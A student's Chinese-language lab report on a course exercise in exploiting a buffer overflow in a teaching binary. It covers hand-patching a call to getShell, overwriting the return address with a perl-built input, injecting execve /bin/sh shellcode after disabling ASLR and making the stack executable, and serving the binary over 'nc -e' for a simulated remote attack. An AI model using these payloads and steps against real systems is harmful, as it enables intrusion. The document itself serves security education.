网络攻防实验报告
姓名:田青
学号:20222305
实验日期:2024/09/29 — 2024/10/09
实验名称:缓冲区溢出和shellcode
指导教师:王志强
1.实验内容
本周学习内容总结:学习了系统安全(缓冲区溢出是重点)
主要内容:
- 漏洞简介:定义以及安全漏洞。
- BOF(缓冲区溢出):直接原因-没有严格的内存越界检查。根本原因-数据与指令挨着存储(冯.诺依曼)。
- 介绍了计算机的栈和C语言中栈的区别,以及栈的原理(EBP定基址,ESP来回变)。
- 简单的汇编指令(push、pop、tmp、call、ret)。
2.实验过程
①实验目的:利用三种方法实现缓冲区溢出。
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三种方法:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
②基础知识
熟悉Linux基本操作。
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
附常见Linux指令
③实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
掌握反汇编与十六进制编程器。
能正确修改机器指令改变程序执行流程。
能正确构造payload进行bof攻击。
④实验过程
1>修改名字
hostname tianqing
改名成功(防伪标)
2>三种方法
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
2.1.1下载pwn1,并改名为pwn20222305
2.1.2运行文件pwn20222305,查看foo功能。
2.1.3进行反汇编
指令:
objdump -d pwn20222305 | more
先看getshell和foo部分
三列分别为:内存地址,机器指令、机器指令对应的汇编语言。
再看main
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%es
p
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
其中80484b5: e8 d7 ff ff ff call 8048491 <foo>
可得麦呢会跳到foo,为让其跳到getshell就需修改地址。
2.1.4计算修改后的地址
偏移量:8048491-80484ba=-41;补码:0xffffffd7。与机器码e8处机器补码符合。
getShell函数的首地址:0804847d。
0804847d-80484ba=-61=0xffffff3c;但其实是倒序存储,故只需将d7 ff ff ff
改为c3 ff ff ff
。
2.1.5修改地址指令
2.1.5.1打开pwn20222305
vi pwn20222305
2.1.5.2会发现全是乱码,但无需惊慌,只需ctrl+:并输入
%!xxd
2.1.5.3进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址。
改完莫忘记转回乱码以及wq指令保存退出
%!xxd -r和wq
两条指令分别为转回乱码和指令保存退出
输入反汇编看修改情况
objdump -d pwn20222305 | more
2.1.5.4再次运行pwn20222305
./pwn20222305
可喜可贺,成功直接跳到getshell。
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
2.2.1分析漏洞
foo函数读入字符串,系统只预留了28字节的缓冲区,具有Bufferoverflow漏洞,我们可以通过向这个缓冲区输入超出长度的字符串来覆盖该返回地址,使返回地址指向getshell,达到攻击目的。
2.2.2调试程序前先安装gdb
输入指令
sudo apt update和sudo apt install gdb
检查gdb是否正常运行
2.2.3重新上传一个pwn1文件,命名为pwn20222305-1并调试
指令
gdb pwn20222305-1
输入字符串1111111122222222333333334444444412345678,让字符串末尾正好覆盖地址指针寄存器,把这四个字符替换为getShell的内存地址,输给pwn20222305-1,就会运行getShell。
再输入指令
info r
查看寄存器eip的值
再输入指令生成input
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
检查input指令
xxd input
最后将input注入pwn20222305-1
(cat input;cat) | ./pwn20222305-1
输入ls
,恭喜又完成一种方法。
2.3注入一个自己制作的shellcode并运行这段shellcode
2.3.1安装工具execstack
指令
sudo apt-get install execstack
2.3.2先更新再下
指令
sudo apt-get update和sudo apt-get upgrade
2.3.3再次下载
还是不行,要投降了吗,不可能,我查!
2.3.4外部链接再解压
找官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
并输入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
解压。
2.3.5指令群修改设置
execstack -s pwn20222305-2 //设置堆栈可执行
execstack -q pwn20222305-2 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
2.3.6构造payload
两种方法
retaddr+nop+shellcode
nop+shellcode+retaddr
2.3.7构造shellcode
指令
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
2.3.8再拖入一个pwn命名为pwn20222305-2注入input_shellcode
(cat input_shellcode; cat) | ./pwn20222305-2
2.3.9新开一个终端,查看pwn20222305-2文件的进程以及进程号
指令
ps -ef | grep pwn20222305-2
进程号:83292
2.3.10新终端中使用gdb进行调试,attach刚刚进程号,反编译foo函数
指令
gdb pwn20222305-2
attach 83292
disassemble foo
2.3.11ret处设置断点
指令
break *0x080484ae
2.3.12查看栈顶指针所在位置
指令
info r esp
此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。
2.3.13栈顶指针地址再加4字节,就是shellcode应该处于的地址
即0xffffd38c+4=0xffffd390。
2.3.14进行shellcode的注入,最终获取shell
原终端输入指令
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
2.3.15将input_shellcode的输入内容作为pwn20222305-2的输入
(cat input_shellcode; cat) | ./pwn20222305-2
2.3.16已找到shell,恭喜!成功调用了getShell函数。
ls
2.4结合nc模拟远程攻击
2.4.1主机1克隆得主机2,并ping
通过ifconfig
查ip
2.4.2主机1:模拟一个有漏洞的网络服务
nc -l 192.168.31.68 -p 28234 -e ./pwn20222305
2.4.3主机2:连接主机1并发送攻击载荷
(cat input_shellcode;cat)| nc 192.168.31.133 28234
2.4.4已找到shell,恭喜!成功调用了getShell函数。
3.问题及解决方案
-问题1:无法运行pwn或找不到pwn。
- 问题1解决方案:先打开文件所处的位置,并不是直接运行。例:
cd /home/kali/桌面
,我的pwn文件存在这里。 - 问题2:生成input文件找不到
- 问题2解决方案:
cd /home/kali/桌面
,要打开与pwn20222305-1同一个位置要不会存在找不到!!!input_shellcode同理。 - 问题3:无法安装execstack
- 问题3解决方案:找官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
并输入sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
解压。 - 问题4:虚拟机连不上网
- 问题4解决方案:桥接模式,静态配置。
4.学习感悟、思考等
这是第一次实验遇到了很多困难,但是“只要智商不滑坡,办法总比困难多。”我通过与同学探讨且自己查询资料,才把实验完整做下来。通过实验我掌握了缓冲区溢出攻击的几种实现方式。也了解到了使用堆栈保护、地址空间布局随机化(ASLR)等安全机制。同时,这次实验也提高了编程技能。当然,今天的课上我才理解什么是shellcode(就是让ret指向shellcode地址,再指回去执行,名字由来最开始是BOF后会打开一个shell),之前中觉得糊里糊涂。实践出真知。我也更深刻的理解ret,原来是会把压栈返回地址弹给eip。希望此后的实验会继续努力搞懂,加油!